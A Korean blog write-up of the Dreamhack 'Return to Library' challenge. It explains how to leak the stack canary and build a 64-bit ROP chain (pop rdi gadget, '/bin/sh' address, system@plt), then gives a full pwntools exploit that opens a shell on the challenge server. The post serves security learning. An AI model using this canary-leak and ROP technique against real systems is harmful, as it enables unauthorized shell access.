[문제 분석]
checksec rtl
위 코드를 통해 적용된 보호기법을 살펴보았다. Canary와 NX가 적용되었다.
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
코드를 살펴보니 Leak Canary를 할 수 있는 read 한번, 이 후 return address를 덮을 수 있는 read가 또 한 번 있다.
다만 일반적으로 스택에 덮게 되면 NX 보호기법으로 인해 stack의 코드는 실행이 불가능하다. 이것을 우회하기 위해 RTL 기법을 사용해야 한다.
익스플로잇 설계
1. 카나리 우회
2. rdi값을 “/bin/sh”의 주소로 설정 및 셸 획득
- “/bin/sh”의 주소를 안다.
- system 함수의 PLT 주소를 안다. ==> system 함수를 호출할 수 있다.
system(“/bin/sh”)을 호출하면 셸을 획득 → rdi =”/bin/sh” 주소인 상태에서 system 함수를 호출한 것과 같다 “/bin/sh”의 주소를 rdi의 값으로 설정할 수 있다면 문제를 풀 수 있다. 리턴 가젯을 활용해야 한다.
여기서 사용할 툴은 ROPgadget이다,
$ ROPgadget --binary rtl
Gadgets information
...
0x0000000000400285 : ret
...
Unique gadgets found: 83
$
ret 가젯 주소를 찾았다.
ROPgadget --binary ./rtl --re "pop rdi"
pop rdi ; ret 에 대한 gadget주소를 찾았다.
addr of ("pop rdi; ret") <= return address
addr of string "/bin/sh" <= ret + 0x8
addr of "system" plt <= ret + 0x10
system(“/bin/sh”)을 실행할 수 있다.
gdb rtl
b *main
r
search /bin/sh
'/bin/sh'에 대한 주소를 찾을 수 있다.
[Write Up]
#!/usr/bin/env python3
# Name: rtl.py
from pwn import *
p = remote('host3.dreamhack.games', 21587)
e = ELF('./rtl')
def slog(name, addr): return success(': '.join([name, hex(addr)]))
# [1] Leak canary
buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)
# [2] Exploit
system_plt = e.plt['system']
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285
payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
payload += p64(ret) # align stack to prevent errors caused by movaps
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)
pause()
p.sendafter(b'Buf: ', payload)
p.interactive()
참고
https://velog.io/@silvergun8291/Dreamhack-Return-to-Library
우선 32 bit와 64 bit의 RTL 차이를 이해해야 한다.
32 bit의 경우 함수가 실행되기 전 인자들이 스택에 입력만 되어있으면 문제 없다. 예를 들어 system('/bin/sh') 를 실행하기 위해서는 system 함수 주소를 ret에 덮어씌우고, 이후 system 함수 종료 후 돌아갈 return address + /bin/sh 문자열이 저장된 주소 의 순으로 스택에 값만 들어가면 된다.
하지만 64 bit에서는 레지스터에 값이 들어가야 한다.
동일하게 system('/bin/sh') 를 실행하기 위해서는 /bin/sh 문자열이 저장된 주소가 %rdi에 들어가있어야하기에 pop rdi, ret gadget 주소를 ret에 덮어씌우고, 이후 %rdi에 넣을 /bin/sh 문자열이 저장된 주소 + system 함수 주소 의 순으로 스택에 전달되어야 한다.
'System Hacking' 카테고리의 다른 글
[System Hacking] Dreamhack : ssp_001 문제 풀이 (Canary) (0) | 2024.08.22 |
---|---|
[System Hacking] - Dreamhack : Return to Shellcode 문제 풀이 (Canary) (0) | 2024.08.21 |